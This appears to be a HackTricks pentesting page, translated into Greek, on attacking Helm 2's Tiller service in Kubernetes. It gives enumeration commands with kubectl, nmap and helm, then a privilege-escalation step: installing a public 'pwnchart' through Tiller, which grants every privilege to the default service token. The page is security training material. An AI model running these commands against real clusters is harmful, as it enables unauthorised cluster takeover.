hacktricks/network-services-pentesting/44134-pentesting-tiller-helm.md

6.6 KiB
Raw Blame History

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Basic Information

Το Helm είναι ο διαχειριστής πακέτων για το Kubernetes. Επιτρέπει τη συσκευασία αρχείων YAML και τη διανομή τους σε δημόσιες και ιδιωτικές αποθήκες. Αυτά τα πακέτα ονομάζονται Helm Charts. Tiller είναι η υπηρεσία που τρέχει από προεπιλογή στην πόρτα 44134 προσφέροντας την υπηρεσία.

Προεπιλεγμένη πόρτα: 44134

PORT      STATE SERVICE VERSION
44134/tcp open  unknown

Enumeration

Αν μπορείτε να καταμετρήσετε pods και/ή υπηρεσίες διαφορετικών namespaces, καταμετρήστε τα και αναζητήστε αυτά που έχουν "tiller" στο όνομά τους:

kubectl get pods | grep -i "tiller"
kubectl get services | grep -i "tiller"
kubectl get pods -n kube-system | grep -i "tiller"
kubectl get services -n kube-system | grep -i "tiller"
kubectl get pods -n <namespace> | grep -i "tiller"
kubectl get services -n <namespace> | grep -i "tiller"

Παραδείγματα:

kubectl get pods -n kube-system
NAME                                       READY   STATUS             RESTARTS   AGE
kube-scheduler-controlplane                1/1     Running            0          35m
tiller-deploy-56b574c76d-l265z             1/1     Running            0          35m

kubectl get services -n kube-system
NAME            TYPE        CLUSTER-IP     EXTERNAL-IP   PORT(S)                  AGE
kube-dns        ClusterIP   10.96.0.10     <none>        53/UDP,53/TCP,9153/TCP   35m
tiller-deploy   ClusterIP   10.98.57.159   <none>        44134/TCP                35m

Μπορείτε επίσης να προσπαθήσετε να βρείτε αυτή την υπηρεσία που εκτελείται ελέγχοντας την θύρα 44134:

sudo nmap -sS -p 44134 <IP>

Μόλις το ανακαλύψετε, μπορείτε να επικοινωνήσετε μαζί του κατεβάζοντας την εφαρμογή πελάτη helm. Μπορείτε να χρησιμοποιήσετε εργαλεία όπως το homebrew, ή να δείτε τη σελίδα επίσημων εκδόσεων. Για περισσότερες λεπτομέρειες, ή για άλλες επιλογές, δείτε τον οδηγό εγκατάστασης.

Στη συνέχεια, μπορείτε να καταμετρήσετε την υπηρεσία:

helm --host tiller-deploy.kube-system:44134 version

Privilege Escalation

Από προεπιλογή, το Helm2 εγκαταστάθηκε στο namespace kube-system με υψηλά δικαιώματα, οπότε αν βρείτε την υπηρεσία και έχετε πρόσβαση σε αυτήν, αυτό θα μπορούσε να σας επιτρέψει να κλιμακώσετε τα δικαιώματα.

Το μόνο που χρειάζεται να κάνετε είναι να εγκαταστήσετε ένα πακέτο όπως αυτό: https://github.com/Ruil1n/helm-tiller-pwn που θα δώσει την προεπιλεγμένη υπηρεσία token πρόσβαση σε όλα σε ολόκληρο το cluster.

git clone https://github.com/Ruil1n/helm-tiller-pwn
helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn
/pwnchart

Στο http://rui0.cn/archives/1573 έχετε την εξήγηση της επίθεσης, αλλά βασικά, αν διαβάσετε τα αρχεία clusterrole.yaml και clusterrolebinding.yaml μέσα στο helm-tiller-pwn/pwnchart/templates/ μπορείτε να δείτε πώς όλα τα προνόμια δίνονται στο προεπιλεγμένο token.

{% hint style="success" %} Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Υποστήριξη HackTricks
{% endhint %}